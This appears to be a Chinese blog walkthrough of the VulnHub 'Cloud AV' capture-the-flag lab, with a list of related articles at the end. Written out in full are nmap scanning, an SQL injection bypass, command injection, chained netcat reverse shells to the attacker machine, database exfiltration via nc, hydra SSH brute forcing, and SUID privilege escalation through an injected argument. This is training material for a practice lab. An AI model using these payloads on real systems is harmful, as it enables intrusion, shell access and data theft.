靶场链接

https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/

信息收集

练习1用了arp-scan,这种工具有可能会被防火墙流量监测到,所以可以使用arping, 这种工具基本Linux发行版都会自带。

for i in $(seq 1 255);do sudo arping -c 2 192.168.31.$i;done

根据回包来判断靶机地址。

下一步,扫描端口和服务。

sudo nmap -p- 192.168.31.197

sudo nmap -p22.8080 192.168.31.197

扫描到有sshhttp服务, web服务使用Python写的框架。

漏洞利用

访问Web服务,出现搜索框要求输入邀请码,有两种思路,暴破和注入。

注入的小技巧:先对所有键盘输入的特殊字符进行暴破,若存在状态码和回包长度不一致的,很有可能可以用于构造闭合语句。

回包显示网页使用了Flask框架,且明确显示了数据库查询语句。

尝试使用万能密码

" or 1=1--+

顺利登录,返回一个病毒扫描页面。文本框要求输入一个文件名称,逻辑一般是文件名拼接扫描命令,可以尝试命令执行。

hello | ls

网页顺利回显了文件列表,证明了命令执行的存在。此时可以尝试写入反弹shell,因为框架使用Python写的,可以使用Python的反弹shell。 如果靶机环境存在 netcat, 也可以利用 nc 构建反弹shell。

# kali

nc -nvlp 4444

# 文本框

nc 192.168.31.157 4444 -e /bin/bash

监听端口后无回显,可能是因为靶机环境的 netcat 版本过低,并不支持 -e 参数。

将之删掉后,显示连接已建立。

此时要用到的小技巧叫 nc串联:靶机反向连接 kali , 通过管道符将输入的命令传入 /bin/bash,然后再通过管道符将结果反向输出到 kali 的另一个端口上。

hello | nc 192.168.31.157 3333 | /bin/bash | nc 192.168.31.157 4444

此时kali终端中左侧输入的命令,执行后结果在右侧可显示输出。

提权

查看一下文件权限和文件列表,除了数据库文件外,其他文件对提权并没有作用。使用file database.sql得到数据库是 sqlites,该数据库是本地数据库,然而靶机环境中并没有读取数据库的工具,所以要把它传输到kali中读取。

# kali

nc -nvlp 5555 > db.sql

# 靶机

nc 192.168.31.157 5555 < database.sql

传输完成后使用kalisqlite3 工具进行数据库文件的读取。

发现数据库中都是密码字段,同时在靶机上cat /etc/passwd可以获取用户字段,我们可以用这些信息各自构造一个字段来对靶机的ssh 服务进行暴破。

hydra -L usr.txt -P pass.txt ssh://192.168.31.197

暴破并不成功,寻找另外一种思路。使用pwd看看当前目录,本目录下没有其他线索可用了,退到上一级目录看看。

通过文件列表,可以看到有一个可执行文件具有suid权限,且据推测应该由该目录下一个.c文件编译而来。

通过查看.c文件可以看到,该文件的功能是对cloudav进行升级,且命令后带一个参数,可以利用suid尝试在参数上构造管道拼接提权。

./update_cloudav "a|nc 192.168.31.57 5555| /bin/bash | nc 192.168.31.157 6666

同时在kali上监听这两个端口,可以发现提权成功。

靶场练习2:cloudantvirus的更多相关文章

  1. CTF丨从零开始搭建WEB Docker靶场

    第十二届全国大学生信息安全竞赛即将开始,小伙伴们有报名参加的吗?大家在比赛前是否开始进行模拟演练了?今天,i春秋将与大家分享靶场搭建的相关内容,帮助大家更好的进行实操演练. 学习搭建Docker靶场之 ...

  2. 第二次靶场练习:cookie注入

    cookie注入 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://120. ...

  3. 第一次靶场练习:SQL注入(1)

    SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...

  4. 文件上传漏洞靶场:upload-labs安装及第一关教程

    注:本文仅供学习使用,请勿用于非法操作,后果与作者无关!!! 一.简介 upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场.旨在帮助大家对上传漏洞有一个全 ...

  5. Jenkins高危代码执行漏洞检测/开源漏洞靶场

    漏洞细节可以参看安全客的文章:https://bbs.ichunqiu.com/thread-22507-1-1.html Jenkins-CLI 反序列化代码执行(CVE-2017-1000353) ...

  6. ethernaut 以太坊靶场学习 (1-12)

    前言 这个靶场搜集了许多不同的 solidity 开发的问题,通过这个可以入门 区块链安全 Fallback 给出了源码 pragma solidity ^0.4.18; import 'zeppel ...

  7. 墨者学院靶场之PHP代码分析溯源(第1题)

    申请靶场环境后 点开题目 一段奇怪的PHP代码 因为我自己电脑重装了win10系统,php+apache+mysql的环境本地主机觉得没必要弄了,于是我们用在线的PHP编码(百度一下到处都是) 复制进 ...

  8. SQLInjection 靶场配置

    对于渗透,太小型的网站没有太大价值,而大型网站(比如各种电商平台)对于代码审计往往非常严格,新手基本找不到漏洞,而一些比较容易搞掉的站点(政府.gov.各种教育网站.edu或者很多商业中型站点)渗透又 ...

  9. 推荐开源靶场Vulhub

    转:https://github.com/phith0n/vulhub Vulhub - Some Docker-Compose files for vulnerabilities environme ...

  10. billu_b0x靶场刷题

    https://www.vulnhub.com/ 里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了. 第一步.信息收集 nmap扫描内网开放80端口的存活主机  nmap ...

随机推荐

  1. node.js接收前端上传的文件并保存到其他位置+后端代码支持进度条

    一:直接上传文件,放入body里 1.前端代码 <input type="file" onchange="sendFiles(this.files)"&g ...

  2. Linux操作系统导学专栏(一)——专栏要讲些什么?

    ​ 该专栏是为Linux内核开发编程做铺垫,如果你对操作系统很熟悉,想了解一些Linux内核发开的知识,请直接跳转至<Linux内核编程专栏>,如果你对Linux内核编程也很熟悉,想了解L ...

  3. 【学习笔记】一种特别有意思的 RTOS 任务切换方法

    一.介绍说明 目前常见流行的 RTOS 实现方式,如 FreeRTOS.uCosII.RT-Thread 等等,它们的内部的任务切换实现原理都差不多,都是通过借助汇编,根据不同的情况读写 CPU 寄存 ...

  4. 【Android】Android 源码方式使用 opencv 库文件

    使用方法 opencv 官方的 SDK 已经有编译好的 so 库,我们可以直接使用,因此我们只需要将平台架构对应的 so 库文件以及头文件提取出来,使用 Android.mk 进行预安装,然后在需要使 ...

  5. Symbol.iterator 迷惑行为

  6. Matlab导入多个.mat文件进行画图

    目录 0. 实验背景 1. 导入.mat文件存储 1.1 导入.mat文件及作图最简单的方式: 1.2 导入.mat文件及作图的脚本代码 2. plot画图总结 2.1 画散点图 2.1.1 点形状 ...

  7. freeRTOS检测栈溢出

    将FreeRTOSConfig.h里面的configCHECK_FOR_STACK_OVERFLOW设置为2. 随便一个文件里,加入 #include "task.h" void ...

  8. 2021级《JAVA语言程序设计》上机考试试题

    勉强写完了 Card package Bean; public class Card { private String CardId; private String CardData; private ...

  9. xshell连接时显示“服务器发送了一个意外的数据包。received:3,expected:20“问题的解决方法

    xshell连接时显示"服务器发送了一个意外的数据包.received:3,expected:20"问题的解决方法 解决方法:在/etc/ssh/sshd_config最后增加以下 ...

  10. KMP字符串 AcWing 831

    题目:https://www.acwing.com/problem/content/833/ 题意:求子串在母串中每次出现时的下标位置. 题解:哈哈哈,敲题时想到之前看到一个人叫 kmp 算法为 看毛 ...